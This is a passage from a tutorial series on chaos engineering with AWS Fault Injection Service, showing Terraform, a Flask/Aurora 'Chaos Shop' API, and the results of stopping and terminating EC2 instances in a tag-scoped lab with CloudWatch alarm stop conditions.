}

The experiment status is “stopped,” not “completed.” FIS distinguished between a normal completion and a guardrail-triggered halt. That distinction matters for automation: you can alert on stopped experiments differently than completed ones.

One practical gotcha worth knowing: FIS will not even start an experiment if a stop-condition alarm is already in the ALARM state. If you launch right after deploy, while only one instance has finished booting and the unhealthy hosts alarm is still breaching, FIS rejects the experiment with an error that the alarm is not in state OK. Wait for your stop-condition alarms to return to OK before starting.

After the halt, FIS restarted the stopped instance. The ASG also launched a replacement (it detected an unhealthy member), briefly giving us three running instances before scaling back down to two. The self-healing worked on multiple levels.

Why It Took Minutes for the Alarm to Fire

The experiment started at 21:55:38 but the alarm did not fire until roughly four minutes later. That seems like a long delay for an alarm with evaluation_periods = 1. Here is what happened.

The alarm evaluates the HealthyHostCount metric with a 60-second period. CloudWatch publishes ALB metrics on a 60-second cycle. The alarm evaluates at the end of each period. Depending on where in the metric cycle the instance was stopped, the alarm may not see the drop until the next full evaluation period completes.

On top of that, the ALB itself has to detect the failure through its health checks (up to 30 seconds, as we learned in Article 1), and then CloudWatch has to collect and publish that data point. The result is that the alarm fires minutes after the actual failure, not seconds.

This is worth understanding. The stop condition is not a real-time circuit breaker. It is a periodic evaluation based on CloudWatch metric periods. For a lab experiment, a few minutes of delay is acceptable. For a production experiment where every second of impact matters, you would want shorter metric periods and might consider custom metrics with higher resolution.

Data Integrity Check

Before moving to Experiment 2, verify that the order data is still intact:

$ curl -s http://$ALB/orders/1 | python3 -m json.tool
{
    "order_id": 1,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed"
}

$ curl -s http://$ALB/products/3 | python3 -m json.tool
{
    "id": 3,
    "name": "Mechanical Keyboard",
    "price": 129.99,
    "stock": 46
}

All data intact. Order 1 still reads back exactly as it was written, and product 3 stock holds at 46. Aurora does not care that an EC2 instance was stopped and restarted. The database is independent of the compute layer.

Experiment 2: Terminate Instance

The Hypothesis

Hypothesis: Terminating an instance is more destructive than stopping one. The ASG must launch a brand-new replacement (new boot, new app initialization, new database connection). We expect to see errors during the detection window, similar to Article 1.

Run It

$ aws fis start-experiment \
    --experiment-template-id EXTUuE4S9dXNXjW \
    --query 'experiment.id' \
    --output text

EXPt2fMBdDGRxtFJFt

The Results

$ aws fis get-experiment \
    --id EXPt2fMBdDGRxtFJFt \
    --query 'experiment.{state:state.status,start:startTime,end:endTime}'

{
    "state": "completed",
    "start": "2026-06-17T22:00:51+00:00",
    "end": "2026-06-17T22:01:05+00:00"
}

The experiment completed normally in 14 seconds. The stop condition did not trigger. This is important: terminate is an instant action with no duration parameter. FIS terminates the instance and the experiment is done. The stop condition never got a chance to evaluate because the experiment finished before the alarm period elapsed.

Here is what the monitoring loop captured:

22:01:05 - 200
22:01:07 - 502 <-- first error
22:01:09 - 200
22:01:11 - 000 <-- connection timeout
22:01:18 - 200
22:01:20 - 000 <-- connection timeout
22:01:27 - 200
...all 200s from here

Out of 45 polls during the window, 3 failed: one 502 and two connection timeouts (HTTP code 000). About twenty seconds from the first error (22:01:07) to the first sustained 200 (22:01:27). This is the same kind of detection window we observed in Article 1, and it is exactly the gap that the ALB health check configuration creates: 3 failed checks at 10-second intervals. The exact count of failed requests varies from run to run depending on timing, but the pattern is always the same: a window of 502s and timeouts before the ALB removes the dead target.

During that window, if a customer had been browsing products or placing an order, their request would have failed. The product listing query against Aurora would never have executed. An in-flight order transaction would have been interrupted. The customer would see a 502 or a timeout and wonder whether their order went through.

The Guardrail Gap

Notice that the stop condition did not help here. The terminate experiment completed in 14 seconds. The CloudWatch alarm needs a full 60-second metric period to evaluate. By the time the alarm could possibly fire, the experiment is long over.

This is a real limitation: stop conditions only work for experiments with a sustained duration. The stop-with-guardrail experiment kept the instance stopped for up to 5 minutes, giving the alarm time to detect the problem. The terminate experiment is a one-shot action. FIS fires it and moves on.

For production use, this means you need to think carefully about which experiments benefit from stop conditions and which need other safeguards (like limiting blast radius through target selection, or running during low-traffic windows).

Data Integrity After Terminate

$ curl -s http://$ALB/orders/1 | python3 -m json.tool
{
    "order_id": 1,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed"
}

Order intact. The ASG launched a replacement instance, which booted, installed dependencies, connected to Aurora, initialized the tables (idempotently), and rejoined the pool. Because the data lives in Aurora and not on the instances, both the surviving instance and the replacement can read all existing orders and products.

Listing products after recovery confirms reads still work. This request happens to be served by the surviving instance (the terminate removed only one of the two targets), and the product catalog reads back from Aurora unchanged:

$ curl -s http://$ALB/products | python3 -m json.tool
{
    "products": [
        {"id": 3, "name": "Mechanical Keyboard", "price": 129.99, "stock": 46},
        {"id": 7, "name": "Noise-Canceling Headphones", "price": 199.99, "stock": 39},
        ...
    ],
    "count": 10,
    "db_latency_ms": 206.62,
    "served_by": "i-00edc6d9f204115d2"
}

The reads succeed against Aurora, and product 3 stock still reads 46, matching what we saw before the terminate. The service kept serving from the surviving instance throughout, while the ASG-launched replacement rejoined the pool behind it.

What the Dashboard Showed

While the experiments ran, the CloudWatch dashboard is where you would watch this unfold. The dashboard widgets map directly to what our captured data already showed, and to what the metrics behind them represent:

Healthy Host Count is the signal the unhealthy hosts alarm watches. In Experiment 1 it dropped below 2, which is exactly what drove the alarm from OK to ALARM at 21:59:49. The red annotation line at 2 is there to make that crossing obvious at a glance.
HTTP 5xx Errors is where the terminate window would register. The 502 we captured at 22:01:07 is an ALB-generated error (the ALB returns a 502 when it routes to a target that is gone), so it belongs to HTTPCode_ELB_5XX_Count rather than HTTPCode_Target_5XX_Count. The application never returned a 5xx of its own.
Request Count is where the brief failure window shows up: a handful of failed polls (the 502 and the two timeouts) before traffic returns to a steady stream of 200s.
Aurora Database Connections is where you would expect to see connections drop when the stopped or terminated instance loses them, then climb back as the replacement connects. Each Gunicorn worker holds one persistent connection, so the count should settle back to its baseline rather than creep upward (which would indicate a leak).
Aurora Read and Write Latency is the baseline we care about for Article 3. Our reads stayed healthy throughout: the post-recovery /products call measured db_latency_ms of 206.62, in line with normal operation. Every failure in these experiments was in the compute layer, not the database.

That last point is significant. In these experiments, every failure was in the compute layer. Aurora kept answering queries at its normal latency regardless of what happened to the instances. In Article 3, when we force an Aurora writer failover, that latency is the baseline that will tell a very different story.

What We Learned

Three clear takeaways from these experiments.

1. Stop Conditions Work, With Caveats

The unhealthy hosts alarm fired, and FIS halted the experiment automatically within one poll interval (about 11 seconds) of our loop observing the alarm enter ALARM. This is the safety net that was missing in Article 1. You can now run experiments with confidence that they will abort if impact exceeds your threshold.

The caveat: stop conditions only help for experiments with a sustained duration. Instant actions like terminate complete before the alarm can evaluate. Design your experiments accordingly. If the action is instant, your safety comes from target selection and blast radius, not from stop conditions.

2. Alarm Design Requires Deliberate Choices

The treat_missing_data setting is not a checkbox you pick randomly. It encodes your assumption about what silence means:

Infrastructure alarms (host count): use "breaching". No data means something is wrong.
Traffic alarms (error rate, latency): use "notBreaching". No data means no traffic.

Get this wrong and your alarms either never fire (missing data treated as OK when the system is actually broken) or fire constantly (missing data treated as breaching when there is simply no traffic at 3 AM).

3. Stop and Terminate Are Different Failure Modes

Stop keeps the instance in the ASG but not running. The ALB continues routing traffic to it until health checks fail. Terminate is permanent: the instance is gone, the ASG launches a completely new one.

In our experiments, the stop-with-guardrail experiment was halted by the stop condition before significant user impact occurred. The terminate experiment caused real 502s and timeouts during the roughly 20-second detection window (first error at 22:01:07, first sustained 200 at 22:01:27), and the guardrail could not help because the experiment finished instantly.

This is not a general rule that “stop is safer than terminate.” The outcomes depend on timing, health check configuration, and whether the experiment has a duration that gives stop conditions time to work. The point is: test both. They exercise different code paths in the AWS control plane, and they produce different failure patterns that your system needs to handle.

What Is Next

We now have a system where we can see what is happening during experiments and where experiments stop themselves when impact gets too high. The compute layer has been tested. We know how the ALB, ASG, and EC2 instances behave when things fail. And we noticed something in the dashboard: Aurora latency stayed perfectly flat through both experiments. The database was never the problem.

In Article 3 , we change that. We force an Aurora writer failover with FIS aws:rds:failover-db-cluster and watch what happens to the Chaos Shop. Every product listing, every order placement, every stock check goes through Aurora. When the writer endpoint moves to a different instance, the application has to find it. The database latency we measured today is a baseline. We are going to see what happens when Aurora has a bad day, and then we are going to fix it with read replicas, RDS Proxy, and retry logic.

Cleanup

Same as Article 1: this lab is not free. The Aurora cluster, NAT gateway, and ALB are the main cost drivers. Expect roughly $2–4 for a few hours, or $8–10 if you leave it running all day.

cd chaos-on-aws/02-observability-first/terraform
terraform destroy

Confirm with yes when prompted.

References

Chaos Engineering on AWS: Your First Experiment with AWS FIS

Tarek CHEIKH — Tue, 07 Jul 2026 15:02:22 +0000

This is Article 1 in the “Chaos Engineering on AWS” series. We deploy a product catalog and order API backed by Aurora, put real data through it, then kill a server and watch what happens to our customers’ orders.

What Is Chaos Engineering

Chaos engineering is the discipline of experimenting on a system to build confidence in its ability to withstand turbulent conditions in production. That definition comes from principlesofchaos.org, and it is worth reading carefully. The key word is confidence. You are not trying to break things for fun. You are running controlled experiments to find out whether your system behaves the way you think it does.

The source lays out four advanced principles:

Build a hypothesis around steady-state behavior. Define what “normal” looks like in terms of measurable output: request success rate, latency percentiles, error rates. Not CPU usage or memory. Those are internals. Focus on what the user sees.
Vary real-world events. Inject failures that actually happen: servers die, networks partition, disks fill up, dependencies slow down. If you only test for things that never happen, you are wasting time.
Run experiments in production. This is the aspirational goal. Staging environments lie. They have different traffic patterns, different data, and different timing. The closer you get to production conditions, the more useful your results.
Automate experiments to run continuously. A one-time test proves a point. Continuous experiments catch regressions. Your system changes every week; your confidence should be validated just as often.

Alongside those four principles, the same source stresses one operational guardrail above all: minimize the blast radius. Start small. Kill one instance, not the whole fleet. Have stop conditions. Be ready to abort. Chaos engineering is not about causing outages; it is about preventing them. This guardrail matters more than people realize. Chaos engineering without it is just breaking things. We will talk more about stop conditions and observability in Article 2 of this series.

Why It Matters

Every architecture diagram shows arrows flowing smoothly between boxes. Reality is different. Load balancers take time to detect failed targets. Auto Scaling Groups take time to launch replacements. Health checks have intervals and thresholds that create detection windows. You do not know how long those windows are until you test them.

More importantly, architecture diagrams do not show what happens to in-flight work. If a customer is placing an order when a server dies, does the order go through? Does it get charged but never confirmed? Does the stock decrement without creating a record? These questions only have real answers when you run the experiment.

The point of chaos engineering is to close the gap between what you assume about your system and what is actually true. In this article, we will find a concrete example of that gap.

What We Are Building: Chaos Shop

We are deploying a product catalog and order API called Chaos Shop. This is not a hello-world endpoint that returns instance metadata. It is a small but real application: 10 products in a database, stock tracking, order placement with transactional integrity. Every request that matters goes through Aurora.

Two EC2 instances sit behind an Application Load Balancer, backed by an Aurora Serverless v2 PostgreSQL database. AWS Fault Injection Service (FIS) is configured to stop one instance on demand.

Here is the architecture:

Internet
                           |
                    +------+------+
                    | ALB |
                    | (us-east-1) |
                    +------+------+
                           |
              +------------+------------+
              | |
     +--------+--------+ +--------+--------+
     | EC2 Instance | | EC2 Instance |
     | (us-east-1a) | | (us-east-1b) |
     | Chaos Shop API | | Chaos Shop API |
     +--------+--------+ +--------+--------+
              | |
              +------------+------------+
                           |
                  +--------+--------+
                  | Aurora Serverless |
                  | v2 (PostgreSQL) |
                  | Writer instance |
                  +-------------------+

     +-------------------+
     | AWS FIS |
     | "Stop 1 instance" |
     +-------------------+

The ALB distributes HTTP traffic across both instances. Each instance runs the Chaos Shop Flask API, which serves product listings, accepts orders, and manages inventory, all backed by Aurora. The ASG is configured with a minimum of 2 instances, so when FIS stops one, the ASG should launch a replacement.

The database is central here. Unlike a typical chaos engineering tutorial where you kill a server returning static data, our application has state. Products have stock counts. Orders create records and decrement inventory inside a database transaction. When we kill a server, the interesting question is not just “do requests fail?” but “does the data stay consistent?”

This is not a production architecture. There is no HTTPS, no WAF, no private subnets for the ALB. It is a lab environment designed to teach chaos engineering concepts without running up a large bill.

Prerequisites

You will need the following installed and configured:

An AWS account with permissions to create VPCs, EC2 instances, ALBs, Aurora clusters, IAM roles, and FIS experiments.
Terraform >= 1.5 : install instructions.
AWS CLI v2 : install instructions. Configure a profile or use environment variables.

The full Terraform code is available at github.com/TocConsulting/chaos-on-aws. Clone it before continuing.

git clone https://github.com/TocConsulting/chaos-on-aws.git
cd chaos-on-aws/01-what-is-chaos-engineering/terraform

The Application: Chaos Shop API

Each EC2 instance runs a Flask application deployed via userdata. The app has seven endpoints, and almost all of them talk to the database. This is deliberate. We want to test what happens to a stateful application during a failure, not just a stateless proxy.

Here is the application setup: imports, configuration, database connection, and initialization. The API endpoints follow below.

import os
import time
import pg8000

from flask import Flask, jsonify, request

app = Flask( __name__ )

INSTANCE_ID = os.environ.get("INSTANCE_ID", "unknown")
AZ = os.environ.get("AZ", "unknown")
PRIVATE_IP = os.environ.get("PRIVATE_IP", "unknown")
DB_ENDPOINT = os.environ.get("DB_ENDPOINT", "")
DB_PORT = int(os.environ.get("DB_PORT", "5432"))
DB_NAME = os.environ.get("DB_NAME", "")
DB_USERNAME = os.environ.get("DB_USERNAME", "")
DB_PASSWORD = os.environ.get("DB_PASSWORD", "")


# Persistent connection per Gunicorn worker process.
# Each sync worker handles one request at a time, so a single
# connection per worker is safe and avoids per-request TCP overhead.
_worker_conn = None


def get_db_connection():
    """Return the worker's persistent DB connection, reconnecting if needed."""
    global _worker_conn
    if _worker_conn is not None:
        try:
            c = _worker_conn.cursor()
            c.execute("SELECT 1")
            c.fetchone()
            c.close()
            return _worker_conn
        except Exception:
            try:
                _worker_conn.close()
            except Exception:
                pass
            _worker_conn = None
    _worker_conn = pg8000.connect(
        host=DB_ENDPOINT,
        port=DB_PORT,
        database=DB_NAME,
        user=DB_USERNAME,
        password=DB_PASSWORD,
    )
    _worker_conn.autocommit = True
    return _worker_conn


def init_db():
    """Create tables and seed products if they do not exist."""
    conn = pg8000.connect(
        host=DB_ENDPOINT,
        port=DB_PORT,
        database=DB_NAME,
        user=DB_USERNAME,
        password=DB_PASSWORD,
    )
    try:
        conn.autocommit = True
        cursor = conn.cursor()

        cursor.execute("""
            CREATE TABLE IF NOT EXISTS products (
                id SERIAL PRIMARY KEY,
                name VARCHAR(100) NOT NULL UNIQUE,
                price DECIMAL(10,2) NOT NULL,
                stock INTEGER NOT NULL DEFAULT 0
            )
        """)

        cursor.execute("""
            CREATE TABLE IF NOT EXISTS orders (
                id SERIAL PRIMARY KEY,
                product_id INTEGER REFERENCES products(id),
                quantity INTEGER NOT NULL,
                total DECIMAL(10,2) NOT NULL,
                status VARCHAR(20) DEFAULT 'pending',
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
        """)

        # Seed products with explicit IDs so concurrent instances do not create
        # non-sequential IDs from the SERIAL sequence.
        products = [
            (1, "Wireless Keyboard", 49.99, 100),
            (2, "USB-C Hub", 34.99, 150),
            (3, "Mechanical Keyboard", 129.99, 50),
            (4, "27-inch Monitor", 349.99, 30),
            (5, "Webcam HD", 79.99, 80),
            (6, "Laptop Stand", 44.99, 120),
            (7, "Noise-Canceling Headphones", 199.99, 40),
            (8, "Portable SSD 1TB", 89.99, 90),
            (9, "Ergonomic Mouse", 59.99, 110),
            (10, "USB Microphone", 69.99, 70),
        ]
        for pid, name, price, stock in products:
            cursor.execute(
                "INSERT INTO products (id, name, price, stock) VALUES (%s, %s, %s, %s) "
                "ON CONFLICT (id) DO NOTHING",
                (pid, name, price, stock),
            )
        cursor.execute("SELECT setval('products_id_seq', 10)")

        cursor.close()
    finally:
        conn.close()

Two things worth noting here. First, get_db_connection() maintains a persistent connection per Gunicorn worker process. Each sync worker handles one request at a time, so a single shared connection is safe and avoids the overhead of creating a new TCP connection on every request. The health check (SELECT 1) detects stale connections and reconnects automatically. Second, init_db() uses its own separate connection that it creates and closes, because initialization runs once at import time and should not interfere with the worker's persistent connection. Seeding with explicit primary-key IDs plus ON CONFLICT (id) DO NOTHING (and resetting the sequence with setval) makes concurrent initialization from multiple instances safe and keeps product IDs deterministic across the fleet.

The Endpoints

GET / returns service information: the instance ID, availability zone, and private IP. This is our routing indicator. When we kill a server, we can see exactly which instance handled the request.

@app.route("/")
def index():
    return jsonify({
        "service": "chaos-shop",
        "instance_id": INSTANCE_ID,
        "availability_zone": AZ,
        "private_ip": PRIVATE_IP,
        "status": "running",
    })

GET /health is the shallow health check. It returns 200 with no dependencies. This is what the ALB uses. A health check that queries the database would cause the ALB to mark instances unhealthy during a database blip, even though the instance itself is fine. Keep health checks simple.

@app.route("/health")
def health():
    return jsonify({"status": "healthy"}), 200

GET /health/deep is the deep health check. It opens a connection to Aurora and runs SELECT 1. This is useful for operational debugging not for the ALB. You do not want a database hiccup to cascade into instance replacements.

@app.route("/health/deep")
def health_deep():
    try:
        start = time.time()
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute("SELECT 1")
        cursor.fetchone()
        latency_ms = round((time.time() - start) * 1000, 2)
        cursor.close()
        return jsonify({
            "status": "healthy",
            "database": "connected",
            "latency_ms": latency_ms,
        })
    except Exception as e:
        return jsonify({
            "status": "unhealthy",
            "database": "error",
            "error": str(e),
        }), 500

GET /products lists all 10 products from Aurora, including their current stock levels and prices. This is a read operation, but it still goes through the database every time. No caching. That is intentional. We want to see what happens to database reads during a failure.

@app.route("/products")
def list_products():
    try:
        start = time.time()
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute("SELECT id, name, price, stock FROM products ORDER BY id")
        rows = cursor.fetchall()
        latency_ms = round((time.time() - start) * 1000, 2)
        cursor.close()

        products = []
        for row in rows:
            products.append({
                "id": row[0],
                "name": row[1],
                "price": float(row[2]),
                "stock": row[3],
            })

        return jsonify({
            "products": products,
            "count": len(products),
            "db_latency_ms": latency_ms,
            "served_by": INSTANCE_ID,
        })
    except Exception as e:
        return jsonify({"error": str(e)}), 500

GET /products/{id} returns a single product by ID. Simple read.

POST /orders is the most important endpoint. This is where the real complexity lives. When a customer places an order, the app does the following inside a single database transaction:

Locks the product row with SELECT ... FOR UPDATE to prevent concurrent modifications.
Checks if there is enough stock for the requested quantity.
Decrements the stock count.
Inserts a new order record with status “confirmed”.
Commits the transaction.

If anything fails, the transaction rolls back. No partial state. No stock decrement without an order. This is how real e-commerce works.

@app.route("/orders", methods=["POST"])
def create_order():
    try:
        data = request.get_json()
        if not data or "product_id" not in data or "quantity" not in data:
            return jsonify({"error": "product_id and quantity are required"}), 400

        product_id = int(data["product_id"])
        quantity = int(data["quantity"])

        if quantity <= 0:
            return jsonify({"error": "quantity must be positive"}), 400

        conn = get_db_connection()
        try:
            conn.autocommit = False
            cursor = conn.cursor()

            # Lock the product row and check stock
            cursor.execute(
                "SELECT id, name, price, stock FROM products WHERE id = %s FOR UPDATE",
                (product_id,),
            )
            row = cursor.fetchone()

            if row is None:
                conn.rollback()
                cursor.close()
                return jsonify({"error": "product not found"}), 404

            product_name = row[1]
            price = float(row[2])
            stock = row[3]

            if stock < quantity:
                conn.rollback()
                cursor.close()
                return jsonify({
                    "error": "insufficient stock",
                    "available": stock,
                    "requested": quantity,
                }), 409

            total = round(price * quantity, 2)

            # Decrement stock
            cursor.execute(
                "UPDATE products SET stock = stock - %s WHERE id = %s",
                (quantity, product_id),
            )

            # Create order
            cursor.execute(
                "INSERT INTO orders (product_id, quantity, total, status) "
                "VALUES (%s, %s, %s, 'confirmed') RETURNING id, created_at",
                (product_id, quantity, total),
            )
            order_row = cursor.fetchone()
            order_id = order_row[0]
            created_at = str(order_row[1])

            conn.commit()
            cursor.close()

            return jsonify({
                "order_id": order_id,
                "product_id": product_id,
                "product_name": product_name,
                "quantity": quantity,
                "total": total,
                "status": "confirmed",
                "created_at": created_at,
                "served_by": INSTANCE_ID,
            }), 201

        except Exception:
            conn.rollback()
            raise
        finally:
            conn.autocommit = True

    except Exception as e:
        return jsonify({"error": str(e)}), 500

GET /orders/{id} retrieves an order with a JOIN to get the product name. This lets us verify after the experiment that our orders survived intact.

The important thing about this application is that the database is not optional. It is not a nice-to-have feature tacked onto a static endpoint. Every product listing, every order, every stock check goes through Aurora. When we kill a server mid-request, there are real consequences to think about: uncommitted transactions, in-flight writes, data consistency.

Key Terraform

Health Check and Target Group

The target group health check configuration determines how quickly the ALB detects a dead instance. Pay attention to these numbers.

resource "aws_lb_target_group" "main" {
  name = "chaos-lab-tg"
  port = 80
  protocol = "HTTP"
  vpc_id = aws_vpc.main.id

  health_check {
    path = "/health"
    healthy_threshold = 2
    unhealthy_threshold = 3
    timeout = 5
    interval = 10
    matcher = "200"
  }
}

The ALB checks /health every 10 seconds. An instance must fail 3 consecutive checks before the ALB stops sending it traffic. That means the ALB needs up to 30 seconds (3 checks * 10 second interval) to detect a failed instance. Remember this number.

Auto Scaling Group

resource "aws_autoscaling_group" "app" {
  name = "chaos-lab-asg"
  min_size = 2
  max_size = 4
  desired_capacity = 2
  vpc_zone_identifier = aws_subnet.private[*].id
  target_group_arns = [aws_lb_target_group.main.arn]
  health_check_type = "ELB"
  health_check_grace_period = 120

  launch_template {
    id = aws_launch_template.app.id
    version = "$Latest"
  }
}

Two settings matter here. health_check_type = "ELB" means the ASG uses the ALB's health check to decide whether an instance is healthy, not just EC2 status checks. And min_size = 2 guarantees the ASG will launch a replacement whenever an instance is terminated or stopped.

FIS Experiment Template

resource "aws_fis_experiment_template" "stop_instance" {
  description = "Stop one EC2 instance in the chaos-lab ASG"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "stop-instance"
    action_id = "aws:ec2:stop-instances"

    target {
      key = "Instances"
      value = "chaos-lab-instances"
    }
  }

  target {
    name = "chaos-lab-instances"
    resource_type = "aws:ec2:instance"
    selection_mode = "COUNT(1)"

    resource_tag {
      key = "Project"
      value = "chaos-lab"
    }
  }

  stop_condition {
    source = "none"
  }
}

The target uses selection_mode = "COUNT(1)", meaning FIS will randomly pick one instance tagged with Project = chaos-lab and stop it. Not terminate, stop. The instance stays in the ASG but is no longer running. The ASG detects this and launches a new one.

The stop_condition is set to none for this first experiment. In Article 2, we will replace this with a CloudWatch alarm that automatically aborts the experiment if error rates spike too high. For now, we are keeping it simple.

IAM: Scoped Blast Radius

The FIS role is scoped tightly. It can only stop and start instances tagged with Project = chaos-lab. This is the blast-radius guardrail in action: scope the experiment so it cannot touch anything you did not intend.

resource "aws_iam_role_policy" "fis" {
  name = "chaos-lab-fis-policy"
  role = aws_iam_role.fis.id

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Action = [
          "ec2:StopInstances",
          "ec2:StartInstances"
        ]
        Resource = "arn:aws:ec2:${var.region}:${data.aws_caller_identity.current.account_id}:instance/*"
        Condition = {
          StringEquals = {
            "ec2:ResourceTag/Project" = "chaos-lab"
          }
        }
      },
      {
        Effect = "Allow"
        Action = ["ec2:DescribeInstances"]
        Resource = "*"
      }
    ]
  })
}

If someone accidentally runs this in the wrong account, the tag condition prevents it from touching anything else. The EC2 instances also get an IAM role with SSM access for operational access, but nothing more.

The Rest of the Code

The remaining Terraform files handle standard VPC networking (2 public subnets, 2 private subnets, two NAT gateways (one per AZ), route tables), security groups (ALB accepts port 80 from the internet, EC2 accepts port 80 from the ALB only, Aurora accepts port 5432 from EC2 only), and the Aurora Serverless v2 cluster with a single writer instance. These are important for a real deployment but not where the interesting chaos engineering decisions live.

See the full code at github.com/TocConsulting/chaos-on-aws.

Deploy

Update the aws_profile variable in variables.tf to match your AWS CLI profile, or pass it on the command line. Then:

terraform init
terraform plan
terraform apply

The apply creates 37 resources and takes roughly ten minutes. Most of that time is the Aurora cluster provisioning. When it finishes, Terraform outputs the values you need:

Outputs:

alb_dns_name = "chaos-lab-alb-600543899.us-east-1.elb.amazonaws.com"
aurora_endpoint = "chaos-lab-aurora.cluster-c1l11rt7ly8s.us-east-1.rds.amazonaws.com"
fis_experiment_template_id = "EXT3z4QT4WJN4Jwz"

Save the fis_experiment_template_id. You will need it to run the experiment.

Verify Everything Works

Give the instances a couple of minutes after Terraform completes. They need to boot, install dependencies, initialize the database tables, seed the product data, and start the Flask app. Then start verifying.

Check the service endpoint

Hit the ALB and confirm both instances are responding:

$ ALB="chaos-lab-alb-600543899.us-east-1.elb.amazonaws.com"

$ curl -s http://$ALB/ | python3 -m json.tool
{
    "service": "chaos-shop",
    "instance_id": "i-0ef097d855de7f9a9",
    "availability_zone": "us-east-1a",
    "private_ip": "10.0.10.x",
    "status": "running"
}

Hit it again and you should see the other instance:

$ curl -s http://$ALB/ | python3 -m json.tool
{
    "service": "chaos-shop",
    "instance_id": "i-0a52ee26b5d49d79f",
    "availability_zone": "us-east-1b",
    "private_ip": "10.0.11.x",
    "status": "running"
}

Both instances are live. The ALB is round-robin distributing requests across us-east-1a and us-east-1b.

List all products

$ curl -s http://$ALB/products | python3 -m json.tool
{
    "products": [
        {"id": 1, "name": "Wireless Keyboard", "price": 49.99, "stock": 100},
        {"id": 2, "name": "USB-C Hub", "price": 34.99, "stock": 150},
        {"id": 3, "name": "Mechanical Keyboard", "price": 129.99, "stock": 50},
        {"id": 4, "name": "27-inch Monitor", "price": 349.99, "stock": 30},
        {"id": 5, "name": "Webcam HD", "price": 79.99, "stock": 80},
        {"id": 6, "name": "Laptop Stand", "price": 44.99, "stock": 120},
        {"id": 7, "name": "Noise-Canceling Headphones", "price": 199.99, "stock": 40},
        {"id": 8, "name": "Portable SSD 1TB", "price": 89.99, "stock": 90},
        {"id": 9, "name": "Ergonomic Mouse", "price": 59.99, "stock": 110},
        {"id": 10, "name": "USB Microphone", "price": 69.99, "stock": 70}
    ],
    "count": 10,
    "db_latency_ms": 126.11,
    "served_by": "i-0ef097d855de7f9a9"
}

Ten products, all with stock. The database round-trip on the first request is 126.11ms, which includes the cost of establishing the persistent connection: TCP connect, TLS handshake, query execution, and result fetch. Subsequent requests reuse the connection and are faster. Normal for a t3.micro talking to Aurora Serverless v2.

Get a single product

$ curl -s http://$ALB/products/3 | python3 -m json.tool
{
    "id": 3,
    "name": "Mechanical Keyboard",
    "price": 129.99,
    "stock": 50
}

Place an order

This is the real test. We are going to place an order for 2 Mechanical Keyboards and verify the entire transaction works: stock decremented, order created, total calculated correctly.

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 3, "quantity": 2}' | python3 -m json.tool
{
    "order_id": 1,
    "product_id": 3,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed",
    "created_at": "2026-06-17 21:17:01.029913",
    "served_by": "i-0ef097d855de7f9a9"
}

Order confirmed. Total is correct (129.99 * 2 = 259.98). Served by the instance in us-east-1a. Now check that the stock actually decremented:

$ curl -s http://$ALB/products/3 | python3 -m json.tool
{
    "id": 3,
    "name": "Mechanical Keyboard",
    "price": 129.99,
    "stock": 48
}

Stock went from 50 to 48. The transaction worked.

Verify the order is readable

$ curl -s http://$ALB/orders/1 | python3 -m json.tool
{
    "order_id": 1,
    "product_id": 3,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed",
    "created_at": "2026-06-17 21:17:01.029913"
}

Test stock validation

Try to order more than what is available:

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 3, "quantity": 999}' | python3 -m json.tool
{
    "error": "insufficient stock",
    "available": 48,
    "requested": 999
}

409 Conflict. The app correctly reports available stock as 48 (not the original 50, because our earlier order decremented it) and refuses the order. The row lock and stock check inside the transaction are working.

Place a few more orders

Let’s put more data in the system before we break things. We want to verify after the experiment that none of it gets lost.

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 1, "quantity": 1}' | python3 -m json.tool
{
    "order_id": 2,
    "product_name": "Wireless Keyboard",
    "quantity": 1,
    "total": 49.99,
    "status": "confirmed",
    ...
}

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 5, "quantity": 3}' | python3 -m json.tool
{
    "order_id": 3,
    "product_name": "Webcam HD",
    "quantity": 3,
    "total": 239.97,
    "status": "confirmed",
    ...
}

We now have 3 confirmed orders in the database. Stock levels have been decremented for Mechanical Keyboard (50 to 48), Wireless Keyboard (100 to 99), and Webcam HD (80 to 77). This is our baseline.

The Hypothesis

Before you touch anything, write down your hypothesis. This is not optional. Without a hypothesis, you are just clicking buttons. Here is ours:

Hypothesis: If we stop one EC2 instance, the ALB should route all traffic to the remaining healthy instance with no user-visible errors. Product listings should continue to work. Existing orders should remain readable. New orders should still be placeable. The ASG should detect the stopped instance and launch a replacement within a few minutes. Data in Aurora should not be affected because the database is independent of the compute layer.

This seems reasonable. We have two instances in two AZs. The ALB has health checks. The ASG has a minimum count of 2. Aurora is a managed database that does not care which EC2 instance talks to it. Everything should just work, right?

Let’s find out.

Run the Experiment

Start the FIS experiment using the AWS CLI:

$ aws fis start-experiment \
    --experiment-template-id EXT3z4QT4WJN4Jwz \
    --query 'experiment.id' \
    --output text

EXPEnJp6T52edQqh6J

The experiment picked instance i-0ef097d855de7f9a9 in us-east-1a and stopped it. FIS reports completion within seconds; the interesting part is what happens to traffic in the window before the ALB notices.

While the experiment runs, start monitoring the product listing endpoint:

$ while true; do
    echo "$(date '+%H:%M:%S') - $(curl -s -o /dev/null -w '%{http_code}' \
      --connect-timeout 3 --max-time 5 \
      http://$ALB/products)"
    sleep 2
  done

Here is the actual output (the probe host’s clock ran in local time, UTC+2, so these timestamps are two hours ahead of the database’s UTC created_at values shown elsewhere):

23:17:27 - 200
23:17:29 - 502
23:17:31 - 502
23:17:33 - 200
23:17:35 - 200
23:17:38 - 000
23:17:45 - 000
23:17:52 - 200
23:17:54 - 200
23:17:56 - 200
...

Those 502s and the 000 (connection timeout) are real failures. Our hypothesis said “no user-visible errors.” That was wrong.

What Happened

Let’s walk through the timeline.

